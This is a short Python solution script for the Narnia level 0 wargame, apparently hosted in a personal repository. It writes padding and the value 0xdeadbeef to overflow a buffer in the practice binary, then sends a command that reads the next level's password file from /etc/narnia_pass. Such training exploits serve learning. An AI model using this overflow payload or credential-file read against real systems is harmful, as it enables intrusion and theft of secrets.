You cannot select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
14 lines
309 B
Python
14 lines
309 B
Python
8 months ago
|
#!/bin/python3
|
||
|
import time
|
||
|
import sys
|
||
|
|
||
|
# exploit buffer overflow
|
||
|
sys.stdout.buffer.write(b"\x90" * 20 + b"\xef\xbe\xad\xde")
|
||
|
|
||
|
# sync script stdout to narnia0 stdin and wait some time
|
||
|
sys.stdout.flush()
|
||
|
time.sleep(1)
|
||
|
|
||
|
# command to get our next password
|
||
|
sys.stdout.buffer.write(b"cat /etc/narnia_pass/narnia1")
|